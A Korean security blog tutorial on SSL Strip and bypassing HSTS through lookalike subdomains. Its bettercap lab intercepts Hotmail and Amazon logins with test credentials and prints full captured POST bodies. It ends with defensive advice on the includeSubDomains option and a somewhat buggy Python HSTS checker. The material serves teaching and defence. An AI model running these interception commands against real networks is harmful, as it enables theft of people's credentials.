SSL Strip 공격과 HSTS Bypassing

 

MITM (Man-In-The-Middle) 공격은 공격자와 Victim이 동일한 네트워크에 연결되어 있어야 한다.
따라서 외부에서 공격하는 Remote Exploit Attack에 비해 “덜 흥미로운-less interesting”것으로 간주되곤 한다.

그러나 동일 네트워크라는 제약조건에도 불구하고 MITM 공격이 여전히 이슈가 되는 이유는,
Victim  네트워크에 접근했을 때, 다음 단계 해킹을 위한 강력한 무기로 활용할 수 있기 때문이다.
일반적으로 SSL과 같이 전송 구간 암호화가 적용되어 있으면 MITM이 불가능하다고 여기기 쉬우나,
다양한 기법을 통해 통신 내용을 중간에 가로채는 것이 (혹은 변조하는 것이) 가능하다.

이번 포스팅에서는 SSL 을 우회하여 MITM 공격하는 방법을 상세하게 다룰 예정이며, 목차는 다음과 같다.

  • SSL-Strip 기법의 기본 이론과 동작 원리
  • SSL-Strip 방어기법 (HSTS)과 우회 방법
  • HSTS Bypass 공격을 통한 계정 탈취 실습

 

SSL Strip 기본 이론과 동작 원리

Client-Server간 암호화 통신을 위해 SSL이 적용된 경우에는 공격자가 중간에서 통신을 가로채더라도
그 내용을 해독할 수 없기 때문에 MITM 공격이 불가능하다.
그러나 최초 서버와의 세션 연결시 HTTPS를 강제로 HTTP 통신을 하게끔 만들수만 있다면,
일반적인 MITM 공격으로 트래픽 내용을 훔쳐볼 수 있다.

이것을 SSL Strip 기법이며, 말 그대로 “SSL을 벗겨내서(Strip)” 강제로 HTTP통신을 하게끔 유도하는 기법이다.
SSL Strip 공격은 2009년 BlackHat DC 컨퍼런스에서 Moxie Marlinspike에 의해 처음 소개되었다.
(소개 자료는 http://www.thoughtcrime.org/software/sslstrip/)

아래 그림을 통해 SSL Strip 공격 흐름을 이해해보자.

FG0LEHk

  1. Victim(A) 이 가상의 은행 사이트 www.foobarbank.com 에 접속을 요청한다.
  2. 은행 서버(C)는 Victim에게 HTTPS를 사용하는 로그인 페이지 링크가 포함된 Response를 전송한다
  3. 이때 Attacker (B)는 Response를 가로채어 모든 링크 주소를 https에서 http로 변경한 후 Victim에게 전송한다.
  4. Victim과 Attacker 사이에는 http 통신을 하게 되어 Credential Info가 포함된 Request를 Attcker가 볼 수 있게 된다.
  5. Attacker는 가로챈 Request를 사용하여 은행 서버(C)와 HTTPS 통신을 맺는다.

요약 정리하자면 Attack는 Victim에게 다음의 원본 컨텐츠 (HTTPS 링크가 포함)를

... <a href="https://www.facebook.com/">Login</a> ...

다음과 같은 형태로 강제로 변경하여 전송하게 된다.

... <a href="http://www.facebook.com/">Login</a> ...

이후 Victim은 HTTP로 변경된 사이트로 접속하게 되고, 공격자는 중간에서 트래픽을 가로채서
모든 전송 내용을 평문으로 볼 수 있다.

 

SSL Strip 방어기법과 우회 방법

HSTS(Http Strict Tansport Security)는 RFC-6797에 정의되어 있으며 2012년 표준으로 지정되었다.
HSTS를 사용하게 되면 사용자가 브라우저에 http 주소를 입력하더라도 Https를 사용하는 페이지로
자동으로 연결되어 SSL-Strip과 같은 MITM 공격을 사전에 방지할 수 있다.
(즉, Client 레벨에서 HTTPS 사용을 강제하게 된다)

대표적인 예로 구글의 Gmail의 경우 브라우저에 http://www.gmail.com으로 접속해보면,
자동으로 https://www.gmail.com 에 연결되는 것을 확인할 수 있을 것이다.
with-hsts

따라서, HSTS가 적용된 페이지에 기존의 SSL-Strip과 같은 방식으로 MITM을 시도할 경우,
브라우저 레벨에서 강제로 HTTPS페이지로 변경되어 접속되기 때문에 공격이 불가능하다.

그러나 2014년 블랙햇 아시아 컨퍼런스에서 “Leonardo Nve Egea”가  sslstrip+ 를 공개하면서
HSTS를 우회하는 MITM 공격기법이 알려지게 되었다.
이 도구는 HSTS 의 정책이 Hostname 기반으로 적용된다는 헛점(?)을 이용하였는데,
동작 원리는 다음과 같다.

sslstrip-2

  1. Client가 DNS 요청시 DNS Spoofing을 통해 정상 URL과 유사해 보이는 Sub-Domain을 반환한다.
    ... <a href="http://wwww.facebook.com/">Login</a> ...

    (실제 주소 앞에 “w”문자가 하나 더 추가된 상태)

  2. 해당 Sub-Domain에 대한 HSTS정책이 적용되지 않기 때문에 (Hostname 불일치)
    Client는 변조된 http 주소로 접속을 시도한다.
  3. 공격자는 중간에서 POST 값등을 가로챈 후, 실제 서버와는 HTTPS 통신을 하게 된다.
  4. 서버에서 오는 모든 반환값에서 https 링크를 http로 변조한 후 Client에게 재전송한다.

단 HSTS 를 적용할 때 “includeSubDomain” 옵션이 누락된 경우에만 위 시나리오대로 공격이 가능하다.
(해당 옵션이 적용되면 모든 Sub-Domain에 대해 HSTS가 적용되기 때문)

그럼 실제 필드에서 HSTS 우회 공격을 어떻게 활용할 수 있는지 실습해보도록 하자.

 

HSTS Bypass를 통한 계정 탈취 공격 실습

이번 포스팅을 작성하면서 “Bettercap” 이란 아주 Awesome 한 MITM 도구를 발견하게 되어,
이 도구를 통해 위 내용을 실습해보도록 하겠다.

Bettercap은 Ruby 기반으로 작성된 MITM 도구이며, 칼리 리눅스에 설치된 Ettercap 보다
확장성면에서 훨씬 강력한 기능을 제공한다.
Bettercap은 gem을 통해 다음과 같이 설치할 수 있다.

june@ubuntu:~/tools/bettercap$ sudo gem install bettercap
Fetching: bettercap-1.5.4.gem (100%)
Successfully installed bettercap-1.5.4
Parsing documentation for bettercap-1.5.4
Installing ri documentation for bettercap-1.5.4
Done installing documentation for bettercap after 14 seconds
1 gem installed
june@ubuntu:~/tools/bettercap$

Bettercap은 root 권한으로만 동작하므로, sudo 명령을 통해 실행한다.
설치가 완료되면 help 명령을 통해 대략적인 사용법을 살펴보도록 하자.

root@ubuntu:/home/june/tools/bettercap# bettercap --help
 _          _   _
| |__   ___| |_| |_ ___ _ __ ___ __ _ _ __
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) |  __/ |_| ||  __/ | | (_| (_| | |_) |
|_.__/ \___|\__|\__\___|_|  \___\__,_| .__/
                                     |_| v1.5.4
http://bettercap.org/



Usage: bettercap [options]

MAIN:

    -I, --interface IFACE            Network interface name - default: eno16777736
    -G, --gateway ADDRESS            Manually specify the gateway address, if not specified the current gateway will be retrieved and used. 
    -T, --target ADDRESS1,ADDRESS2   Target IP addresses, if not specified the whole subnet will be targeted.
        --ignore ADDRESS1,ADDRESS2   Ignore these addresses if found while searching for targets.
        --no-discovery               Do not actively search for hosts, just use the current ARP cache, default to false.
        --no-target-nbns             Disable target NBNS hostname resolution.
        --packet-throttle NUMBER     Number of seconds ( can be a decimal number ) to wait between each packet to be sent.
        --check-updates              Will check if any update is available and then exit.
    -h, --help                       Display the available options.

LOGGING:

    -O, --log LOG_FILE               Log all messages into a file, if not specified the log messages will be only print into the shell.
        --log-timestamp              Enable logging with timestamps for each line, disabled by default.
    -D, --debug                      Enable debug logging.
        --silent                     Suppress every message which is not an error or a warning, default to false.

SPOOFING:

    -S, --spoofer NAME               Spoofer module to use, available: NONE, ICMP, ARP - default: ARP.
        --no-spoofing                Disable spoofing, alias for --spoofer NONE.
        --half-duplex                Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.
        --kill                       Instead of forwarding packets, this switch will make targets connections to be killed.

SNIFFING:

    -X, --sniffer                    Enable sniffer.
    -L, --local                      Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.
        --sniffer-source FILE        Load packets from the specified PCAP file instead of the interface ( will enable sniffer ).
        --sniffer-output FILE        Save all packets to the specified PCAP file ( will enable sniffer ).
        --sniffer-filter EXPRESSION  Configure the sniffer to use this BPF filter ( will enable sniffer ).
    -P, --parsers PARSERS            Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: MYSQL, NNTP, SNMP, IRC, DHCP, PGSQL, NTLMSS, WHATSAPP, URL, DICT, HTTPAUTH, RLOGIN, POST, HTTPS, COOKIE, CREDITCARD, SNPP, REDIS, FTP, MPD, MAIL - default: *
        --custom-parser EXPRESSION   Use a custom regular expression in order to capture and show sniffed data ( NOTE: Will set -X to true ).

PROXYING:


  TCP:

        --tcp-proxy                  Enable TCP proxy ( requires other --tcp-proxy-* options to be specified ).
        --tcp-proxy-module MODULE    Ruby TCP proxy module to load.
        --tcp-proxy-port PORT        Set local TCP proxy port, default to 2222 .
        --tcp-proxy-upstream ADDRESS:PORT
                                     Set TCP proxy upstream server address and port.
        --tcp-proxy-upstream-address ADDRESS
                                     Set TCP proxy upstream server address.
        --tcp-proxy-upstream-port PORT
                                     Set TCP proxy upstream server port.
  HTTP:

        --proxy                      Enable HTTP proxy and redirects all HTTP requests to it, default to false.
        --proxy-port PORT            Set HTTP proxy port, default to 8080.
        --allow-local-connections    Allow direct connections to the proxy instance, default to false.
        --no-sslstrip                Disable SSLStrip.
        --proxy-module MODULE        Ruby proxy module to load, either a custom file or one of the following: injectcss, injecthtml, injectjs.
        --http-ports PORT1,PORT2     Comma separated list of HTTP ports to redirect to the proxy, default to 80.
        --proxy-upstream-address ADDRESS
                                     If set, only requests coming from this server address will be redirected to the HTTP/HTTPS proxies.

  HTTPS:

        --proxy-https                Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.
        --proxy-https-port PORT      Set HTTPS proxy port, default to 8083.
        --proxy-pem FILE             Use a custom PEM CA certificate file for the HTTPS proxy, default to /root/.bettercap/bettercap-ca.pem .
        --https-ports PORT1,PORT2    Comma separated list of HTTPS ports to redirect to the proxy, default to 443.

  CUSTOM:

        --custom-proxy ADDRESS       Use a custom HTTP upstream proxy instead of the builtin one.
        --custom-proxy-port PORT     Specify a port for the custom HTTP upstream proxy, default to 8080.
        --custom-https-proxy ADDRESS Use a custom HTTPS upstream proxy instead of the builtin one.
        --custom-https-proxy-port PORT
                                     Specify a port for the custom HTTPS upstream proxy, default to 8083.
        --custom-redirection RULE    Apply a custom port redirection, the format of the rule is PROTOCOL ORIGINAL_PORT NEW_PORT. For instance TCP 21 2100 will redirect all TCP traffic going to port 21, to port 2100.

SERVERS:

        --httpd                      Enable HTTP server, default to false.
        --httpd-port PORT            Set HTTP server port, default to 8081.
        --httpd-path PATH            Set HTTP server path, default to ./ .
        --dns FILE                   Enable DNS server and use this file as a hosts resolution table.
        --dns-port PORT              Set DNS server port, default to 5300.

For examples & docs please visit http://bettercap.org/docs/

root@ubuntu:/home/june/tools/bettercap#

많은 옵션이 있는것처럼 보이나 실제 공격시 사용할 옵션은 제한적이므로 걱정할 필요는 없다.

SSL Strip 공격을 위해 필요한 몇가지 필수 옵션에 대해서만 짚고 넘어가도록 한다.

  • -T : 공격 타겟 IP를 설정하는 옵션. 전체 네트워크를 공격할 것이 아니라면 반드시 설정한다.
  • -X : Sniffing 모드로 동작하며 트래픽 모니터링만 가능하다. (Spoofing은 하지 않음)
  • –proxy : 가장 중요한 SSL Strip 공격에 사용되는 옵션이다. 모든 링크 주소를 http로 변경해서 보낸다.
  • -P : Parser로써 패킷 내용중 특정 프로토콜에 매칭되는 것을 파싱해서 보여준다.
  • –proxy-module MODULE : SSL Strip 공격시 추가적으로 모듈을 장착(?)해서 사용할 수 있다.
  • –httpd : bettercap 자체적으로 http 서버를 올려준다. 기본 포트는 8081번으로 셋팅된다.

이제 본격적으로 SSL Strip 실습을 해보도록 하자. 위에서 설명한 기본 이론에서는 facebook과 twitter를
공격 대상으로 햇으나, 실험해본 결과 현재는 모든 URL에 대해 HSTS 정책이 적용되어 Strip 공격이 불가능했다.

단, 기존 패치되기 이전 facebook SSL Strip 공격을 보고 싶다면 아래 영상을 참고하도록 하자.
(bettercap 이 사용되었다.)

[youtube https://www.youtube.com/watch?v=BfvoONHXuQA]

 

공격 대상을 찾기 위해 몇가지 테스트를 해 본 결과, 일부 메일 서비스에 HSTS가 적용된 것을 알 수 있었다.
gmail과 함께 가장 많이 사용되는 메일 서비스인 hotmail은 SSL Strip 방지를 위해 HSTS가 적용되어 있으나
다음과 같이 bettercap을 사용하여 MITM 공격이 가능하였다. (계정 탈취 가능)

root@Ghostcat:/home/june# bettercap -T 192.168.0.3 --proxy -P POST -O log_ssl_3.txt
 _          _   _
| |__   ___| |_| |_ ___ _ __ ___ __ _ _ __
| '_ \ / _ \ __| __/ _ \ '__/ __/ _` | '_ \
| |_) |  __/ |_| ||  __/ | | (_| (_| | |_) |
|_.__/ \___|\__|\__\___|_|  \___\__,_| .__/
                                     |_| v1.5.4
http://bettercap.org/



[I] Starting [ spoofing:✔ discovery:✘ sniffer:✔ tcp-proxy:✘ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:true ] ...

[I] Found NetBIOS name 'June-PC' for address 192.168.0.3
[I] [enp2s0] 192.168.0.6 : E8:03:9A:1D:B6:17 / enp2s0 ( Samsung Electronics )
[I] [GATEWAY] 192.168.0.1 : 90:9F:33:8E:FB:8A ( EFM Networks )
[I] [DNS] Starting on 192.168.0.6:5300 ...
[I] [TARGET] 192.168.0.3 : 24:F5:AA:C2:55:56 / June-PC ( Samsung Electronics )

[I] [HTTP] Proxy starting on 192.168.0.6:8080 ...

[I] [SSLSTRIP 192.168.0.3] Found stripped HTTPS link 'http://wwwww.login.live.com/', proxying via SSL ( https://login.live.com/ppsecure/post.srf?wa=wsignin... ).
[June-PC/192.168.0.3] POST https://login.live.com/ppsecure/post.srf?wa=wsignin1.0&rpsnv=12&ct=1461748354&rver=6.4.6456.0&wp=MBI_SSL_SHARED&wreply=https:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1042&id=64855&mkt=ko-kr&cbcxt=mai/&bk=1461748357&uaid=236c4ec5b6df4405933eaa320f7c3cb9&pid=0 ( text/html ) [200]

[HEADERS]

  Host : login.live.com
  User-Agent : Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
  Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language : ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
  Referer : https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=12&ct=1461748354&rver=6.4.6456.0&wp=MBI_SSL_SHARED&wreply=https:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1042&id=64855&mkt=ko-kr&cbcxt=mai/
  Cookie : CkTst=G1461748361352; wlidperf=FR=L&ST=1461748395072
  Connection : close
  Content-Type : application/x-www-form-urlencoded
  Content-Length : 1268
  Pragma : no-cache

[BODY]

  loginfmt : testemail@hotmail.com
  login : testemail@hotmail.com
  passwd : testpassword
  type : 11
  PPFT : DV0M8s!YUKEYu6ClDIKAlz4fSZ879UGCfE1XHydgKKjDIqW*R*zO9fn4ttmfkdFGnRjOp!cFOs5Lkz*Gi6uKv*uauVrHsN3vXXMmUG1xx9Bep450AS6*bIJ*Ugy2A*BDXA!B9*iOTn8Th5J7J3qUtxil*7hi31OihQnzar2AdcKXSwPHkpKeXHVoAPsLiksSYbyj8IL8nATsg09aK2FaJuCs1xA3iV*zHcG23zg9OeDsCpsHM!UgW87AysA5jupAeP59q1Se1LJDMg1k16srwzg$
  PPSX : Pass
  NewUser : 1
  LoginOptions : 3
  FoundMSAs : 
  fspost : 0
  i2 : 1
  i16 : {"navigationStart":1461748351275,"unloadEventStart":0,"unloadEventEnd":0,"redirectStart":0,"redirectEnd":0,"fetchStart":1461748355186,"domainLookupStart":1461748355186,"domainLookupEnd":1461748355290,"connectStart":1461748355290,"connectEnd":1461748355290,"requestStart":1461748355292,"responseStart":1461748359640,"responseEnd":1461748359640,"domLoading":1461748359641,"domInteractive":1461748361325,"domContentLoadedEventStart":1461748361329,"domContentLoadedEventEnd":1461748361330,"domComplete":1461748361331,"loadEventStart":1461748361331,"loadEventEnd":0}
  i17 : 0
  i18 : __DefaultLogin_Strings|1,__DefaultLogin_Core|1,
  i19 : 33682
  i21 : 0
  i22 : 0
  i13 : 0

Cap 2016-04-27 18-12-58-722

Victim 측에서는 어떠한 SSL 관련 오류도 발생하지 않으며, 브라우저 주소창을 유심히 살피지 않으면
실제 MITM 공격을 당하고 있다는 것을 인지하기도 쉽지 않아 보인다.

그렇다면 똑같이 SSL Strip을 방어하기 위해 HSTS가 적용되어 있음에도 불구하고,
Gmail은 MITM이 불가한것일까? 정답은 HSTS 설정 옵션에 있다.

서버측에 HSTS를 적용하게 되면 Client 브라우저 요청시 다음과 같은 응답값을 받게 된다.

Strict-Transport-Security: max-age=31536000

즉 페이지 요청에 대해 max-age 시간만큼 https 사용을 강제하라고 Client에게 알려주는 것이다.
그러나 위에서도 설명했듯이 이 정책은 hostname 기반으로만 적용되기 때문에
bettercap 을 이용해 sub-domain을 약간만 틀어버리면 https를 사용하지 않도록 우회가 가능하다.

안전한 gmail의 경우 Client 요청시 다음과 같은 응답값을 받을 수 있다.

Strict-Transport-Security: max-age=31536000; includeSubDomains

즉, “www.gmail.com” 뿐만 아니라 “wwwwww.gmail.com” 을 요청하더라도 무조건 https를 사용하게 되어
훨씬 안전한 통신이 가능하며, SSL Strip 공격은 불가능하게 된다.
hotmail의 경우 “includeSubDomains” 옵션이 누락되어 있었기 때문에,
서브도메인 (“wwwww.hotmail.com”)을 조작하게 되면 HSTS 정책이 적용되지 않게 되는 것이다.

이메일 뿐만 아니라 Amazon과 같은 큰 규모의 온라인 쇼핑 서비스 역시 bettercap을 통해 MITM이 가능하였다.

[June-PC/192.168.0.3] POST https://www.amazon.com/ap/signin ( text/html ) [200]

[HEADERS]

  Accept : text/html, application/xhtml+xml, */*
  Referer : https://www.amazon.com/ap/signin/183-8834461-1342816?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2F%3Fref_%3Dnav_custrec_signin/
  Accept-Language : ko-KR
  User-Agent : Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
  Content-Type : application/x-www-form-urlencoded
  Host : www.amazon.com
  Content-Length : 1469
  DNT : 1
  Connection : close
  Cache-Control : no-cache
  Cookie : session-id-time=2082787201l; session-id=183-8834461-1342816; x-wl-uid=1DXNEZI7AC9pZCoJbUCy/ozn4/mB5MQqsEzpo20q0/q9vGm0ziiDQvVVI/kLuNEg0WO0XDFfcD/s=; ubid-main=179-0860586-0369138; csm-hit=S5895W43B5EP64QFB8QC+s-S5895W43B5EP64QFB8QC|1461721721767
  Pragma : no-cache

[BODY]

  appActionToken : OJkp4kbwS3D42lSfyxfPBpxjI40j3D
  appAction : SIGNIN
  openid.pape.max_auth_age : ape:MA==
  openid.return_to : ape:aHR0cHM6Ly93d3cuYW1hem9uLmNvbS8/cmVmXz1uYXZfY3VzdHJlY19zaWduaW4v
  prevRID : ape:UzU4OTVXNDNCNUVQNjRRRkI4UUM=
  openid.identity : ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAvaWRlbnRpZmllcl9zZWxlY3Q=
  openid.assoc_handle : ape:dXNmbGV4
  openid.mode : ape:Y2hlY2tpZF9zZXR1cA==
  openid.ns.pape : ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvZXh0ZW5zaW9ucy9wYXBlLzEuMA==
  openid.claimed_id : ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjAvaWRlbnRpZmllcl9zZWxlY3Q=
  pageId : ape:dXNmbGV4
  openid.ns : ape:aHR0cDovL3NwZWNzLm9wZW5pZC5uZXQvYXV0aC8yLjA=
  email : testemail@test.com
  create : 0
  password : testpassword
  metadata1 : 1DNpC7389UPuazgNLGBtCoiiR8T9+e/C//bhFNlpFBFHVQj6yVxIU3GMTVkTaMsMTwl7cOJ82e1wOzIaslTm4bBstTES8fLHRlAVdAks6ruGPzwzE3h9G+dN9dEe9WazjC2wPJZqbB7wwTS0xiPKjaXh10vzFqT3H+kBkmjamM1NNtoxGMzPf4V6PxqF7le/GzwGV9iZZjxwLixRj4D6jN5C1HX6kiq+0ltDFpdEBQ1Sc5a1gPw/YoyDfjahvuXHJCFSxlFwi784FybMZOZq7Evip5Ea3L5sEF7h1Iqwa8bgUR7YIFz78i1s2SvhqGDgQZEL4maZlUoI39oBB5yG/dsPOIzwlBATHMJpjXGPFscBwllNjNraE2h3Y7DGzdF30sKn9JlxAWiyMJLjKWsEJY/iKaOc+c6MxjQk9q99DGi1SUy0+yJSorEbfuNefb9nRxbNrncXqjnxL740YypapkaR2AE74nhBB0DyOwVXjUKbwHMcp6+L6cf/m1E7Yelill04o+cLGb1yzSiG08QkqbSBSIUNs0NZMXPW8O7OS2E3U1eVgP1cuKc/qBBy6wc5NbHCbAgattF2Intn1ZsS/o51QDOfBXvAUvm4e3yaTUvNJK2tysRu9cz/uQ16cBEbbF78pa7AaDUv6J/Cy1SuyjTSJ5rZ4n/V3oaU4ZeVG6k=


[I] [SSLSTRIP 192.168.0.3] Stripping 3 HTTPS links inside 'https://www.amazon.com/ap/signin'.

Cap 2016-04-27 10-51-08-805

 

SSL 적용의 현실과 장애물

지금까지 HSTS Bypassing 기법을 이용해 SSL Strip 과 MITM 공격을 알아보았다.
이상적으로는  Google과 같이 자사의 전 서비스로 HTTPS를 확대하는 것이 좋겠지만,
개발/운영 환경과 리소스 현실을 고려했을 때는 쉽지 않을 것이 사실이다.

하지만 Google과 같은 흐름은 점차 확대될 것이며, 글로벌 상위 사이트 역시 이러한 흐름에
점차적으로 동참하고 있다 (https://www.google.com/transparencyreport/https/grid/?hl=ko)

따라서, 장기적인 접근을 통해 HTTPS를 기본적으로 사용하도록 해야하며,
HSTS 적용 역시 Strip 공격에 취약하지 않도록 옵션을 적절하게 설정해야할 것이다.

끝으로, 여러개의 URL에 대해 HSTS Bypass 취약점을 체크할 수 있는 간단한 스크립트를 작성해보았다.

최근 블로그를 통해 해킹 관련 기술을 악용하려는 사람들이 있지는 않을까 걱정이 되는데
이번 포스팅도 꼭 연구 목적 혹은 모의 해킹 용도로만 활용되었으면 하는 바램이다.

import requests
import threading
import Queue
from colorama import init,Fore,Back,Style
init(autoreset=True)

thread = 1
wordlist_file = "/home/june/list.txt"
# Word lists should be like ==== > "http://www.gmail.com"
resume = None
user_agent = "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko"
output = "/home/june/hsts_result.txt"

# In case of using proxy
"""
proxies = {
  'http': 'http://x.x.x.x:xxxx',
}
"""

def build_wordlist(wordlist_file):
	# Read word list #
	fd = open(wordlist_file, "rb")
	raw_words = fd.readlines()
	fd.close()

	found_resume = False
	#Make Queue
	words = Queue.Queue()

	for word in raw_words:
		word = word.rstrip()
		if resume is not None :
			if found_resume:
				words.put(word)
			else:
				if word == resume:
					found_resume = True
					print "Resuming Wordlist from : %s" % resume
		else :
			words.put(word)
	return words

def check_hsts(word_queue):
	fd_out = open(output, "wr")
	while not word_queue.empty():
		attempt = word_queue.get()
		print "[+] Checking .......   " + attempt

		try:
			headers={}
			headers["User-Agent"] = user_agent
			
			#r = urllib2.Request(attempt, headers = headers)
			#response = urllib2.urlopen(r)
			
			r = requests.get(attempt, verify=False,headers=headers)

			# Use bottom line in case of proxy environment :(
			# r = requests.get(attempt, haeders = headers, proxies=proxies)	

			if 'includeSubDomains' in r.headers['strict-transport-security']:
				print ("  " + Fore.GREEN + '[*] SECURE!!! [   ' + attempt + r.headers['strict-transport-security'] + ']' )
				fd_out.write(attempt)
			else: 
				print ("  " + Fore.RED + '[-] NOT SECURE :(   ' + attempt )
			
		except exceptions.HTTPError, e:
			print "Error Occured on" + attempt
			pass
	fd_out.close()

def main():
	word_queue = build_wordlist(wordlist_file)

	for i in range (thread):
		t = threading.Thread(target=check_hsts, args=(word_queue,))
		t.start()

if __name__ == "__main__" :
	main()

참고문서

https://avicoder.me/2016/02/22/SSLstrip-for-newbies

http://jetcat.nl/blog/bypassing-http-strict-transport-security-hsts

 

Site Footer